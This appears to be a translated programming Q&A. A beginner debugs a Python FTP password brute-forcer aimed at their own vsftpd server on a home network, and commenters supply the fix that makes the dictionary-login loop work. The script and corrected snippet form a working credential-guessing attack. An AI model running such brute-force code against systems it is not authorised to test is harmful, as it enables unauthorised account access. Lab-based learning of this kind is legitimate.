Python ftp bruteforcer не работает

когда я пытаюсь научиться python, я открыл FTP-сервер на своем ноутбуке (ubuntu 12.04) с помощью vsftpd. после конфигурации я могу войти на сам ноутбук, используя ftp localhost, а имя пользователя и пароль, которые я выбрал, были NINJA 123 (ради попытки). на моем ПК (в локальной сети) я открываю браузер, ввожу ftp://192.168.1.108/. и когда я получаю всплывающее окно для имени пользователя и пароля, я ввожу вышеуказанные данные - так что - все работает по FTP.

Я написал это, чтобы попытаться взломать:

import socket
import ftplib

port=21
ip="192.168.1.108"
file1="passwords"

try:
    s=socket.socket()
    s.connect((ip,port))
    print "port",port,"is open"
    moshe=open(file1,'r')
    for line in moshe.readlines():
        password=line.strip("\n")
        print password
        try:
            ftp = ftplib.FTP(ip)
            ftp.login("NINJA",password)
            print ("THE PASSWORD IS:",password)
            break
        except ftplib.error_perm:
            print "Incorrect"
    moshe.close()
except:
    print "port",port,"is closed"

кажется, работает благодаря Робу


person Giladiald    schedule 17.01.2014    source источник
comment
Не могли бы вы проверить журнал VSFTPD? Есть ли какая-либо информация, предполагающая, что скрипт пытался войти в систему?   -  person Uli Köhler    schedule 17.01.2014
comment
Упростите свой пример. Избавьтесь от файла паролей и попробуйте напрямую подключиться к ftp.login("NINJA", "123").   -  person Robᵩ    schedule 17.01.2014
comment
@UliKöhler, я с удовольствием это сделаю, если вы будете достаточно любезны, чтобы сказать мне, где он находится в Робе, я изменил его, но он все равно не работает.   -  person Giladiald    schedule 17.01.2014
comment
@Giladiald - я изменил, но все равно не работает. Тогда вы недостаточно избавились. Если бы вы продолжили путь удаления строк, в конце концов вы бы увидели сообщение об ошибке: NameError: name 'ftp' is not defined, и это дало бы вам подсказку.   -  person Robᵩ    schedule 17.01.2014
comment
@Giladiald Я считаю, что в текущем состоянии проблема может быть решена быстрее, если следовать предложениям Робфи, что означает действительно сокращение вашего кода (и размещение его здесь, если это не очевидно.). Или просто прочитайте ответ CheckNate...   -  person Uli Köhler    schedule 18.01.2014


Ответы (1)


Я только изучаю python, но разве вы не пытаетесь неправильно ссылаться на библиотеку ftplib в своем блоке try? Вы используете ftp.ftplib.FTP(ip)... разве это не должно быть просто ftplib.FTP(ip)? То же самое для ftp.login("NINJA", password).

person CheckNate    schedule 17.01.2014
comment
+1 Таким образом доказывая, что никогда не следует использовать универсальную оговорку except:. Из учебника по Python: *Используйте это с особой осторожностью, ведь таким образом легко замаскировать настоящую программную ошибку! - person Robᵩ; 17.01.2014
comment
@checknate не могли бы вы попытаться помочь мне понять? я переключился на ftplib.FTP(ip), но я не был уверен, что я должен заменить ftp.login на @Rob, честно говоря, я ненавижу, за исключением того, что он делает недействительным почти все, я просто не понял, какой другой цикл я мог бы использовать в этом случае - person Giladiald; 17.01.2014
comment
@Гиладиальд, попробуй так: try: / ftp = ftplib.FTP(ip) / ftp.login("NINJA",password) / print "THE PASSWORD IS:",password / except ftplib.error_perm: / print "incorrect". Посмотрите, как 1) строка ftp = создает переменную ftp, которую вы используете в следующей строке, а except ftplib.error_perm: явно называет интересующее ее исключение, игнорируя все остальные. - person Robᵩ; 17.01.2014
comment
@Robᵩ Эй, роб, это сработало! вы должны опубликовать это как ответ, чтобы люди, которые это могут оценить вас. на этот раз каждая попытка PW занимает 5-4 секунды, что показывает, что он действительно пытался, прежде чем он выполнил 500 паролей за 15 секунд или около того. теперь я понимаю, что не пытался. я посадил 123 под номером 14 в списке и когда до него дошло это сработало! - person Giladiald; 17.01.2014